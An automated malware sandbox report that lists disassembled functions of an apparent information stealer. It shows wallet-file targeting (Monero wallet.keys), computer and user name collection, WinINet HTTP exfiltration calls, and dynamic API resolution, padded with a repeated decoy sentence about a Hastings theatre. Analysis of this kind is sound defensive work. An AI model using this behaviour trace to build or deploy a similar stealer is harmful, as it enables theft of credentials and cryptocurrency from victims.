The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D3471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34643

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 03a72b4b8aa36a53bf7982825bb1081b425f306335feee14b8a0574910eb13a5
Instruction ID: 61e491bc5908dfca6b8bf58133ff12137fbcb9382818b11bef1582b84d9a9134
Opcode Fuzzy Hash: 03a72b4b8aa36a53bf7982825bb1081b425f306335feee14b8a0574910eb13a5
Instruction Fuzzy Hash: 4C4112607C27046EEE27BFA4A8D2EDD7766DF4770EF509840AE0052384CAB0756C8632

Function 00D34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34839
Part of subcall function 00D347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34849

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D34915
StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D3493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D34ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00D50DDB,00000000,?,?,00000000,?,",00000000,?,008DE580), ref: 00D34DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D34E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D34E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D34E49
InternetCloseHandle.WININET(00000000), ref: 00D34EAD
InternetCloseHandle.WININET(00000000), ref: 00D34EC5
HttpOpenRequestA.WININET(00000000,008DE510,?,008DDA88,00000000,00000000,00400100,00000000), ref: 00D34B15

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

InternetCloseHandle.WININET(00000000), ref: 00D34ECF

Strings

", xrefs: 00D34D33
------, xrefs: 00D34C69
------, xrefs: 00D34B28
------, xrefs: 00D349BD
", xrefs: 00D34BF2

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 871d6f240b32913cf761fc1762bb3f85703502892a9cbde9937e6fbb5b6a3dc1
Instruction ID: 015246e3a188a278cd97d149910b6f34e204f363d59906de15a625a0649368e7
Opcode Fuzzy Hash: 871d6f240b32913cf761fc1762bb3f85703502892a9cbde9937e6fbb5b6a3dc1
Instruction Fuzzy Hash: FA12B572950118ABEB15EBA4DC92FEEB378EF54304F514199B50662091EF702F89CF72

Function 00D478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47910
RtlAllocateHeap.NTDLL(00000000), ref: 00D47917
GetComputerNameA.KERNEL32(?,00000104), ref: 00D4792F

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: d84ec6d048155172c4035218bf227f27df0cf543a0a8beb7903d9e934abcad4c
Instruction ID: d9be1405fe409dbb5c2c492f97846bd3080d95864ed19e184bc5d73c30bd4a67
Opcode Fuzzy Hash: d84ec6d048155172c4035218bf227f27df0cf543a0a8beb7903d9e934abcad4c
Instruction Fuzzy Hash: 4D01A4B1A04208EFCB04DF98DD45BAEBBB8FB44B21F10425AFA45E3380D37459448BB2

Function 00D47850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47880
RtlAllocateHeap.NTDLL(00000000), ref: 00D47887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D4789F

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 928b9db15edd1ff59b931d263b7a99eea234e1c3947676dcc66eb2d72549f929
Instruction ID: 158ed1e6cd03b51b977592e2d57af3cc983e5301bb3728a85a524026342f87b8
Opcode Fuzzy Hash: 928b9db15edd1ff59b931d263b7a99eea234e1c3947676dcc66eb2d72549f929
Instruction Fuzzy Hash: 01F04FB1944208AFC714DF98DD4ABAEBBB8EB44711F10025AFA05A2680C77455448BA2

Function 00D31160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D3116A
ExitProcess.KERNEL32 ref: 00D3117E

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 4204713dcdecef06eb317b64f6078efefbae511ce6bf2490bfe6d744b91e6bc2
Instruction ID: 75040abc17f4b85b396fec5a7907695b348c4a04d8747783bb06b48c9529ceab
Opcode Fuzzy Hash: 4204713dcdecef06eb317b64f6078efefbae511ce6bf2490bfe6d744b91e6bc2
Instruction Fuzzy Hash: EFD05E7490030CDBCB04DFE0D8496DDBBB8FB4C312F000554DD0962340EA3054C2CAA6

Function 00D49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,008C6720), ref: 00D49C2D
GetProcAddress.KERNEL32(75900000,008C67E0), ref: 00D49C45
GetProcAddress.KERNEL32(75900000,008D8D60), ref: 00D49C5E
GetProcAddress.KERNEL32(75900000,008D8C70), ref: 00D49C76
GetProcAddress.KERNEL32(75900000,008DC8E0), ref: 00D49C8E
GetProcAddress.KERNEL32(75900000,008DC8C8), ref: 00D49CA7
GetProcAddress.KERNEL32(75900000,008CB450), ref: 00D49CBF
GetProcAddress.KERNEL32(75900000,008DCA48), ref: 00D49CD7
GetProcAddress.KERNEL32(75900000,008DC8F8), ref: 00D49CF0
GetProcAddress.KERNEL32(75900000,008DCA78), ref: 00D49D08
GetProcAddress.KERNEL32(75900000,008DC838), ref: 00D49D20
GetProcAddress.KERNEL32(75900000,008C6780), ref: 00D49D39
GetProcAddress.KERNEL32(75900000,008C6920), ref: 00D49D51
GetProcAddress.KERNEL32(75900000,008C6940), ref: 00D49D69
GetProcAddress.KERNEL32(75900000,008C6680), ref: 00D49D82
GetProcAddress.KERNEL32(75900000,008DC910), ref: 00D49D9A
GetProcAddress.KERNEL32(75900000,008DC880), ref: 00D49DB2
GetProcAddress.KERNEL32(75900000,008CB3D8), ref: 00D49DCB
GetProcAddress.KERNEL32(75900000,008C66A0), ref: 00D49DE3
GetProcAddress.KERNEL32(75900000,008DC808), ref: 00D49DFB
GetProcAddress.KERNEL32(75900000,008DC9B8), ref: 00D49E14
GetProcAddress.KERNEL32(75900000,008DC868), ref: 00D49E2C
GetProcAddress.KERNEL32(75900000,008DC988), ref: 00D49E44
GetProcAddress.KERNEL32(75900000,008C6760), ref: 00D49E5D
GetProcAddress.KERNEL32(75900000,008DC9D0), ref: 00D49E75
GetProcAddress.KERNEL32(75900000,008DC850), ref: 00D49E8D
GetProcAddress.KERNEL32(75900000,008DCAC0), ref: 00D49EA6
GetProcAddress.KERNEL32(75900000,008DCA30), ref: 00D49EBE
GetProcAddress.KERNEL32(75900000,008DC928), ref: 00D49ED6
GetProcAddress.KERNEL32(75900000,008DC940), ref: 00D49EEF
GetProcAddress.KERNEL32(75900000,008DCA00), ref: 00D49F07
GetProcAddress.KERNEL32(75900000,008DCA90), ref: 00D49F1F
GetProcAddress.KERNEL32(75900000,008DC958), ref: 00D49F38
GetProcAddress.KERNEL32(75900000,008D9E88), ref: 00D49F50
GetProcAddress.KERNEL32(75900000,008DCA60), ref: 00D49F68
GetProcAddress.KERNEL32(75900000,008DC898), ref: 00D49F81
GetProcAddress.KERNEL32(75900000,008C67A0), ref: 00D49F99
GetProcAddress.KERNEL32(75900000,008DCAA8), ref: 00D49FB1
GetProcAddress.KERNEL32(75900000,008C6800), ref: 00D49FCA
GetProcAddress.KERNEL32(75900000,008DCAD8), ref: 00D49FE2
GetProcAddress.KERNEL32(75900000,008DC970), ref: 00D49FFA
GetProcAddress.KERNEL32(75900000,008C65A0), ref: 00D4A013
GetProcAddress.KERNEL32(75900000,008C63E0), ref: 00D4A02B
LoadLibraryA.KERNEL32(008DC820,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A03D
LoadLibraryA.KERNEL32(008DC9A0,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A04E
LoadLibraryA.KERNEL32(008DC8B0,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A060
LoadLibraryA.KERNEL32(008DC7F0,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A072
LoadLibraryA.KERNEL32(008DC9E8,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A083
LoadLibraryA.KERNEL32(008DCA18,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A095
LoadLibraryA.KERNEL32(008DCBC8,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A0A7
LoadLibraryA.KERNEL32(008DCC40,?,00D45CA3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE3), ref: 00D4A0B8
GetProcAddress.KERNEL32(75FD0000,008C6440), ref: 00D4A0DA
GetProcAddress.KERNEL32(75FD0000,008DCCA0), ref: 00D4A0F2
GetProcAddress.KERNEL32(75FD0000,008D89C0), ref: 00D4A10A
GetProcAddress.KERNEL32(75FD0000,008DCB38), ref: 00D4A123
GetProcAddress.KERNEL32(75FD0000,008C62A0), ref: 00D4A13B
GetProcAddress.KERNEL32(6FD30000,008CB298), ref: 00D4A160
GetProcAddress.KERNEL32(6FD30000,008C6660), ref: 00D4A179
GetProcAddress.KERNEL32(6FD30000,008CB130), ref: 00D4A191
GetProcAddress.KERNEL32(6FD30000,008DCB20), ref: 00D4A1A9
GetProcAddress.KERNEL32(6FD30000,008DCD18), ref: 00D4A1C2
GetProcAddress.KERNEL32(6FD30000,008C6460), ref: 00D4A1DA
GetProcAddress.KERNEL32(6FD30000,008C6620), ref: 00D4A1F2
GetProcAddress.KERNEL32(6FD30000,008DCBF8), ref: 00D4A20B
GetProcAddress.KERNEL32(763B0000,008C6480), ref: 00D4A22C
GetProcAddress.KERNEL32(763B0000,008C6520), ref: 00D4A244
GetProcAddress.KERNEL32(763B0000,008DCD90), ref: 00D4A25D
GetProcAddress.KERNEL32(763B0000,008DCB50), ref: 00D4A275
GetProcAddress.KERNEL32(763B0000,008C6640), ref: 00D4A28D
GetProcAddress.KERNEL32(750F0000,008CB180), ref: 00D4A2B3
GetProcAddress.KERNEL32(750F0000,008CB158), ref: 00D4A2CB
GetProcAddress.KERNEL32(750F0000,008DCD30), ref: 00D4A2E3
GetProcAddress.KERNEL32(750F0000,008C6280), ref: 00D4A2FC
GetProcAddress.KERNEL32(750F0000,008C65C0), ref: 00D4A314
GetProcAddress.KERNEL32(750F0000,008CAEB0), ref: 00D4A32C
GetProcAddress.KERNEL32(75A50000,008DCB98), ref: 00D4A352
GetProcAddress.KERNEL32(75A50000,008C65E0), ref: 00D4A36A
GetProcAddress.KERNEL32(75A50000,008D88C0), ref: 00D4A382
GetProcAddress.KERNEL32(75A50000,008DCD00), ref: 00D4A39B
GetProcAddress.KERNEL32(75A50000,008DCDA8), ref: 00D4A3B3
GetProcAddress.KERNEL32(75A50000,008C63C0), ref: 00D4A3CB
GetProcAddress.KERNEL32(75A50000,008C62C0), ref: 00D4A3E4
GetProcAddress.KERNEL32(75A50000,008DCC10), ref: 00D4A3FC
GetProcAddress.KERNEL32(75A50000,008DCD48), ref: 00D4A414
GetProcAddress.KERNEL32(75070000,008C6300), ref: 00D4A436
GetProcAddress.KERNEL32(75070000,008DCB68), ref: 00D4A44E
GetProcAddress.KERNEL32(75070000,008DCDD8), ref: 00D4A466
GetProcAddress.KERNEL32(75070000,008DCCD0), ref: 00D4A47F
GetProcAddress.KERNEL32(75070000,008DCD60), ref: 00D4A497
GetProcAddress.KERNEL32(74E50000,008C62E0), ref: 00D4A4B8
GetProcAddress.KERNEL32(74E50000,008C64E0), ref: 00D4A4D1
GetProcAddress.KERNEL32(75320000,008C6320), ref: 00D4A4F2
GetProcAddress.KERNEL32(75320000,008DCCE8), ref: 00D4A50A
GetProcAddress.KERNEL32(6F060000,008C6500), ref: 00D4A530
GetProcAddress.KERNEL32(6F060000,008C6340), ref: 00D4A548
GetProcAddress.KERNEL32(6F060000,008C6600), ref: 00D4A560
GetProcAddress.KERNEL32(6F060000,008DCB08), ref: 00D4A579
GetProcAddress.KERNEL32(6F060000,008C6360), ref: 00D4A591
GetProcAddress.KERNEL32(6F060000,008C6560), ref: 00D4A5A9
GetProcAddress.KERNEL32(6F060000,008C6580), ref: 00D4A5C2
GetProcAddress.KERNEL32(6F060000,008C64A0), ref: 00D4A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00D4A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00D4A607
GetProcAddress.KERNEL32(74E00000,008DCC28), ref: 00D4A629
GetProcAddress.KERNEL32(74E00000,008D8910), ref: 00D4A641
GetProcAddress.KERNEL32(74E00000,008DCC88), ref: 00D4A659
GetProcAddress.KERNEL32(74E00000,008DCAF0), ref: 00D4A672
GetProcAddress.KERNEL32(74DF0000,008C6380), ref: 00D4A693
GetProcAddress.KERNEL32(6FA70000,008DCBB0), ref: 00D4A6B4
GetProcAddress.KERNEL32(6FA70000,008C64C0), ref: 00D4A6CD
GetProcAddress.KERNEL32(6FA70000,008DCB80), ref: 00D4A6E5
